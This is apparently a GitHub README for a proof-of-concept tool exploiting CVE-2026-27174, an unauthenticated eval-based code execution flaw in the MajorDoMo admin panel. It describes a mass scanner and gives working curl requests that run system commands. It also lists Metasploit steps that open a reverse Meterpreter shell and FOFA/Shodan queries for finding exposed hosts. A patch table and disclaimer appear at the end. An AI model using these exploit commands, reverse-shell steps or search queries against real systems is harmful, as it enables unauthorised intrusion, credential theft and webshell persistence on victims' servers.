MaxMnMl/majordomo-CVE-2026-27174-poc
GitHub: MaxMnMl/majordomo-CVE-2026-27174-poc
针对 MajorDoMo 平台 PHP 控制台未授权 RCE 漏洞的 PoC 工具,包含非破坏性批量扫描器和 Metasploit 集成利用模块。
Stars: 0 | Forks: 0
# majordomo-CVE-2026-27174-poc
一个利用 MajorDomo (Major Domestic Module) 管理面板中 PHP 控制台功能进行未经身份验证远程代码执行的概念验证。
# 漏洞
MajorDoMo 的管理面板通过 /admin.php 暴露了一个 PHP 执行控制台。由于 panel.class.php 中的身份验证重定向后缺少 exit 语句,AJAX 处理程序 inc_panel_ajax.php 被无条件包含——使得任何未经身份验证的 HTTP 请求都能访问其 eval() 函数。
攻击者只需发送一个 GET 请求即可执行任意 PHP 代码,无需凭证、无需事先访问权限,也无需受害者交互。
# 受影响版本
- 2026 年 2 月 18 日补丁之前的所有 MajorDomo 版本。
# 检测扫描器
`scan.py` 是一个非破坏性的多线程扫描器,用于检测存在 CVE-2026-27174 漏洞的主机,**无需执行任何有害 payload**。
### 工作原理
扫描器对每个目标按顺序执行三个阶段:
```
Phase 1 — RCE Confirmation
└─ Sends: echo 'random_marker';
└─ Checks: marker is reflected in the response body
└─ Confirms: eval() is reachable without authentication
Phase 2 — PHP Sandbox Profiling
└─ Sends: echo 'marker:' . ini_get('disable_functions');
└─ Extracts: list of disabled PHP functions on the server
Phase 3 — OS Execution Surface
└─ Probes: system, exec, shell_exec, passthru via function_exists()
└─ Classifies: impact level as HIGH or MEDIUM
```
每个请求都会生成一个**随机字母数字标记**,以避免因缓存、WAF 或响应污染导致的误报。
### 使用方法
#### 环境要求
```
pip install requests
```
#### 1. 准备目标文件
创建一个 `targets.txt` 文件,每行包含一个 `IP:PORT`:
```
192.168.1.10:8080
10.0.0.5:80
10.0.0.12:443
# 以 # 开头的行被忽略
# 仅接受 IP:PORT 格式
```
#### 2. 运行扫描器
```
python3 scan.py targets.txt
```
### 输出
```
[+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php
[-] Not vulnerable -> 10.0.0.5:80
[+] Vulnerable targets exported to results.json
```
### `results.json`
当发现至少一个易受攻击的主机时自动生成:
```
[
{
"target": "192.168.1.10:8080",
"url": "http://192.168.1.10:8080/admin.php",
"rce_php": true,
"disable_functions": "popen,pclose,proc_open",
"system_functions_available": ["system", "exec"],
"impact_level": "HIGH"
}
]
```
| 字段 | 描述 |
|-------|-------------|
| `target` | 扫描的 IP:PORT |
| `url` | 确认存在 RCE 的完整 URL |
| `rce_php` | PHP 代码执行确认(结果中始终为 `true`) |
| `disable_functions` | 服务器的 `disable_functions` PHP 设置(如果为空则为 `null`) |
| `system_functions_available` | 攻击者可调用的操作系统执行函数 |
| `impact_level` | `HIGH`(可达 OS 执行)或 `MEDIUM`(仅 PHP RCE) |
# 漏洞利用
根据 `result.json` 文件中的 `system_functions_available` 字段结果,我们可以使用系统函数构造 GET 请求来利用 RCE:
```
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id');
#or
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
# 自动化
Metasploit 模块:
```
msfconsole
use exploit/multi/http/majordomo_console_eval_rce
set RHOSTS 192.168.1.10
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.17.0.1
check #Verify it returns Vulnerable
run #Verify a Meterpreter session opens as www-data
```
# 在野利用
FOFA:
```
title="MajorDomoSL"
```
SHODAN:
```
http.title:"MajorDomoSL"
```
# 影响
远程未经身份验证的攻击者可以:
- 在服务器上执行任意 PHP 代码
- 读取敏感文件(/etc/passwd、配置文件、凭证)
- 写入 PHP webshell 以实现持久化访问
- 如果 PHP 函数 system、exec、shell_exec 或 passthru 未被禁用,则可以升级到操作系统级别的命令执行
实际影响取决于服务器的 disable_functions PHP 配置:
| 场景 | 影响级别 | 描述 |
|----------|-------------|-------------|
| 无 `disable_functions` | **CRITICAL** | 完整的操作系统命令执行 |
| 部分限制 | **HIGH** | PHP RCE + 部分 OS 执行 |
| `disable_functions` 阻止所有执行 | **MEDIUM** | 仅 PHP RCE(文件读/写、数据泄露) |
CVSS 4.0 - 9.3 CRITICAL — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 - 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# 修复与缓解
更新到最新版本的 MajorDomo (Major Domestic Module)。
| 控制措施 | 防止 RCE | 防止 OS 执行 |
|---------|:---:|:---:|
| 应用 2026 年 2 月 18 日补丁 | ✅ | ✅ |
| 在 `/admin.php` 上配置防火墙/IP 白名单 | ✅ | ✅ |
| `disable_functions` 加固 | ❌ | ✅ |
# 参考资料
https://chocapikk.com/posts/2026/majordomo-revisited
https://nvd.nist.gov/vuln/detail/CVE-2026-27174
https://github.com/sergejey/majordomo/pull/1177
# 免责声明
此工具仅供授权安全测试使用。未经授权访问计算机系统是违法行为。
标签:Admin Panel, CISA项目, CVE-2026-27174, eval注入, MajorDoMo, PHP代码执行, PHP安全, PoC, RCE, Webshell, 事件响应, 利用脚本, 加密, 智能家居系统, 暴力破解, 未授权访问, 概念验证, 漏洞扫描器, 编程工具, 网络安全, 认证绕过, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞